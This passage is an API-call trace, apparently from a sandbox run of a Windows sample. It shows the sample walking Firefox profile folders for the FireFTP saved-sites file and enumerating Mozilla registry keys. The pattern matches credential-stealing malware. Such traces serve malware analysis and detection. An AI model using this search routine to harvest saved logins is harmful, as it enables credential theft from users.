IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.046] LocalFree (hMem=0x746ad0) returned 0x0 [0048.047] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0048.047] lstrlenA (lpString="\\*.*") returned 4 [0048.047] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.047] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.047] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0048.047] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0x72dd90 [0048.047] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.047] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.047] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.047] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.047] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0 [0048.047] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.047] LocalFree (hMem=0x746ad0) returned 0x0 [0048.047] LocalFree (hMem=0x74f980) returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="parent.lock", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="permissions.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="places.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="pluginreg.dat", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="prefs.js", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="search.json", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="secmod.db", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="sessionstore.bak", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="sessionstore.js", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="signons.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="times.json", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="fireFTPsites.dat") returned 0x0 [0048.047] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.047] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0048.047] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0048.047] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.047] lstrlenA (lpString="\\") returned 1 [0048.047] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.047] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.047] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.047] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.047] lstrlenA (lpString="webapps") returned 7 [0048.047] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74f980 [0048.047] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.048] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.048] LocalFree (hMem=0x746ad0) returned 0x0 [0048.048] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0048.048] lstrlenA (lpString="\\*.*") returned 4 [0048.048] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x746ad0 [0048.048] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.048] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0048.048] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0x72dd90 [0048.048] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.048] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.048] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.048] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.048] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.048] StrStrIA (lpFirst="webapps.json", lpSrch="fireFTPsites.dat") returned 0x0 [0048.048] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0 [0048.048] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.048] LocalFree (hMem=0x746ad0) returned 0x0 [0048.048] LocalFree (hMem=0x74f980) returned 0x0 [0048.048] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.048] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.048] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 0 [0048.048] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0048.048] LocalFree (hMem=0x75c818) returned 0x0 [0048.048] LocalFree (hMem=0x7469f0) returned 0x0 [0048.048] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 0 [0048.048] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.048] LocalFree (hMem=0x74d860) returned 0x0 [0048.048] LocalFree (hMem=0x745b68) returned 0x0 [0048.048] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefaf4 | out: lpFindFileData=0xefaf4) returned 1 [0048.048] StrStrIA (lpFirst="profiles.ini", lpSrch="fireFTPsites.dat") returned 0x0 [0048.048] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefaf4 | out: lpFindFileData=0xefaf4) returned 0 [0048.048] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0048.048] LocalFree (hMem=0x74a738) returned 0x0 [0048.048] LocalFree (hMem=0x74a670) returned 0x0 [0048.048] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xefc6f | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0048.048] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0048.048] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x74ccd0 [0048.048] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3a0) returned 0x0 [0048.048] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x0, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.049] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.049] lstrlenA (lpString="\\") returned 1 [0048.049] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.049] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.049] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.049] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.049] lstrlenA (lpString="Firefox") returned 7 [0048.049] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0048.049] lstrcpyA (in: lpString1=0x758820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.049] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.049] LocalFree (hMem=0x716ef8) returned 0x0 [0048.049] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0048.049] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.049] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.049] RegCloseKey (hKey=0x394) returned 0x0 [0048.049] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.049] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.049] RegCloseKey (hKey=0x394) returned 0x0 [0048.049] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x394) returned 0x0 [0048.049] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb6c, lpData=0x0, lpcbData=0xefb70*=0xefb58 | out: lpType=0xefb6c*=0x0, lpData=0x0, lpcbData=0xefb70*=0x0) returned 0x2 [0048.049] RegCloseKey (hKey=0x394) returned 0x0 [0048.049] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.049] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.049] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.049] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0048.049] lstrlenA (lpString="\\") returned 1 [0048.049] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0048.049] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.049] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.049] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0048.049] lstrlenA (lpString="Crash Reporter") returned 14 [0048.049] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x754820 [0048.049] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.049] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0048.049] LocalFree (hMem=0x7588c8) returned 0x0 [0048.049] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Firefox") returned="Firefox\\Crash Reporter" [0048.049] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.050] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.050] RegCloseKey (hKey=0x398) returned 0x0 [0048.050] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.050] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.050] RegCloseKey (hKey=0x398) returned 0x0 [0048.050] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x398) returned 0x0 [0048.050] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb38, lpData=0x0, lpcbData=0xefb3c*=0xefb24 | out: lpType=0xefb38*=0x0, lpData=0x0, lpcbData=0xefb3c*=0x0) returned 0x2 [0048.050] RegCloseKey (hKey=0x398) returned 0x0 [0048.050] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.050] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.050] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.050] RegCloseKey (hKey=0x398) returned 0x0 [0048.050] LocalFree (hMem=0x75b090) returned 0x0 [0048.050] LocalFree (hMem=0x754820) returned 0x0 [0048.050] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.050] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0048.050] lstrlenA (lpString="\\") returned 1 [0048.050] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0048.050] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.050] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.050] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0048.050] lstrlenA (lpString="TaskBarIDs") returned 10 [0048.050] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0048.050] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.050] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0048.050] LocalFree (hMem=0x7588c8) returned 0x0 [0048.050] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0048.050] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.050] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.050] RegCloseKey (hKey=0x398) returned 0x0 [0048.050] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.051] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.051] RegCloseKey (hKey=0x398) returned 0x0 [0048.051] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x398) returned 0x0 [0048.051] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb38, lpData=0x0, lpcbData=0xefb3c*=0xefb24 | out: lpType=0xefb38*=0x0, lpData=0x0, lpcbData=0xefb3c*=0x0) returned 0x2 [0048.051] RegCloseKey (hKey=0x398) returned 0x0 [0048.051] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.051] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.051] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.051] RegCloseKey (hKey=0x398) returned 0x0 [0048.051] LocalFree (hMem=0x75b090) returned 0x0 [0048.051] LocalFree (hMem=0x754820) returned 0x0 [0048.051] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.051] RegCloseKey (hKey=0x394) returned 0x0 [0048.051] LocalFree (hMem=0x75a808) returned 0x0 [0048.051] LocalFree (hMem=0x758820) returned 0x0 [0048.051] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.051] RegCloseKey (hKey=0x3a0) returned 0x0 [0048.051] LocalFree (hMem=0x74ccd0) returned 0x0 [0048.051] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0048.051] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x74ccd0 [0048.051] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0xefc4c | out: phkResult=0xefc4c*=0x3a0) returned 0x0 [0048.051] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x0, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.051] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.051] lstrlenA (lpString="\\") returned 1 [0048.051] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.051] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.051] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.051] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.051] lstrlenA (lpString="Firefox") returned 7 [0048.051] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0048.051] lstrcpyA (in: lpString1=0x758820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.051] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.051] LocalFree (hMem=0x716ef8) returned 0x0 [0048.051] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0048.051] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.052] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.052] RegCloseKey (hKey=0x394) returned 0x0 [0048.052] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.052] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.052] RegCloseKey (hKey=0x394) returned 0x0 [0048.052] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0048.052] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.052] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.052] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.052] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0048.052] lstrlenA (lpString="\\") returned 1 [0048.052] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x7588c8 [0048.052] lstrcpyA (in: lpString1=0x7588c8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0048.052] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") 